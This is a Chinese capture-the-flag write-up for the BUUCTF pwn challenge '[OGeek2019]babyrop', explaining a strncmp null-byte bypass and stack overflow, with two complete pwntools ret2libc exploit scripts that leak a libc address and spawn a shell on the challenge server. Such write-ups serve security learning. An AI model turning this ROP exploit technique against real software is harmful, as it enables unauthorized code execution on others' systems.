[BUUCTF-pwn]——[OGeek2019]babyrop

  • 题目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop
  • 题目:

    话不多说,先checksec一下,开启了NX保护,但是没开启地址随机化。

    在IDA中看看,三个函数挨个点开看看

    第一个,啥用没有。我也不知道写这个函数是干嘛,可能学的还是太少。

    第二个函数,发现了栈溢出的敏感函数read。但是里面有个判断,里面函数返回值必须为0,否则直接终止程序。通过了解strncmp函数的性质。只要v1是0,返回值必定为0。因此buf的第一个字符为 '\0’即可。

    再来看看最后一个函数,a1是上一个函数的返回值。所以a1要稍微大一点。不然一会栈溢出的时候。万一太小是else语句的执行。太小就无法有效栈溢出了a1会长度限制。
    别问为什么不在第二个函数里面的read函数栈溢出。问就是因为0x20太小了

所以expolit为

from pwn import *
from LibcSearcher import *p=remote('node3.buuoj.cn',29760)
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
payload1='\x00'+'\xff'*(0x8 - 0x1)
p.sendline(payload1)
p.recvline()payload='a'*(0xe7 + 0x4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
p.sendline(payload)read_addr=u32(p.recv(4))
print 'read_addr: ' + hex(read_addr)libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(system_addr) + p32(0) +p32(binsh)
p.sendline(payload)p.interactive()

孩子信心满满提交了 。结果晴天霹雳

孩子找了好多资料。百思不得其解,耽误了两三天。突然有一天,思绪一动,不会是文件名和模板一样造成的吧。将文件由pwn改为了mian。expolit也改了改。

from pwn import *
from LibcSearcher import *p=remote('node3.buuoj.cn',29760)
elf=ELF('./main')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825payload1='\x00'+'\x07'*(0x8 - 0x1)
p.sendline(payload1)
p.recvline()payload='a'*(0xe7 + 0x4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
p.sendline(payload)read_addr=u32(p.recv(4))
print 'read_addr: ' + hex(read_addr)libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(system_addr) + p32(0) +p32(bin_sh_addr)
p.sendline(payload)p.interactive()

直接出结果,孩子裂开。

[BUUCTF-pwn]——[OGeek2019]babyrop相关推荐

  1. Buuctf(pwn)[OGeek2019]babyrop

    发现第二个函数有个read函数,但它是0x20是不能够构成漏洞利用,只是利用它作为中间的一个简单的输出即可; 跳过if判定: 只需在第一次输入时 在最前面加上 '\0' a1上上一次返回的 buf[7 ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

  4. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  5. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  6. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  7. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  8. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  9. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

最新文章

  1. 十个最值得阅读学习的C开源项目代码
  2. html5电影在线看,HTML5-电影影评网
  3. 【python自动化办公03】word操作-文档内容替换
  4. objective-c中的static
  5. C++手写a除以b的正余数
  6. linux单点登录命令,配置RHEV中LINUX 虚拟机使用ACTIVE DIRECTORY(AD域)实现单点登录的方法...
  7. Go语言学习Day03
  8. php中用microtime()函数来测试代码运行时间
  9. spring-boot配置文件中server.context-path不起作用
  10. 1968年成立,6000亿市值的美的,董事长是怎么做到6点下班的?
  11. 怎样杀计算机病毒,如何彻底查杀计算机病毒
  12. 测试固态硬盘写入数据软件,SSD测试软件简要说明
  13. 最新无广告扒小马客服系统多种商户接入客服等!目前最好的客服系统 跟洽美站仿站网站源码
  14. 拼多多电商API接口详情
  15. Java面试知识点(零)Java零碎知识点
  16. Unreal教学(10)——放置Actor (Placing Actors)
  17. 滴滴章文嵩:一个人的20年开源热情和国内互联网开源运动
  18. IMFI DAO World of Balatroon:土地出售即将到来!
  19. 必须要了解的编程基础--哈希与字符串
  20. Vue3.0笔记(B站天禹老师)

热门文章

  1. Linux设备驱动中的并发控制总结
  2. 【数据结构与算法】之深入解析“零钱兑换II”的求解思路与算法示例
  3. Swift之深入解析如何自定义操作符
  4. Git之深入解析如何交互式暂存
  5. iOS之实现“摇一摇”与“扫一扫”功能
  6. 用几十行代码实现python中英文分词
  7. 使用python发送邮件和接收邮件
  8. python3利用smtplib通过qq邮箱发送邮件
  9. 深度学习——02、深度学习入门——经典卷积神经网络架构实例——AlexNet
  10. 【嵌入式】C语言高级编程-地址对齐(07)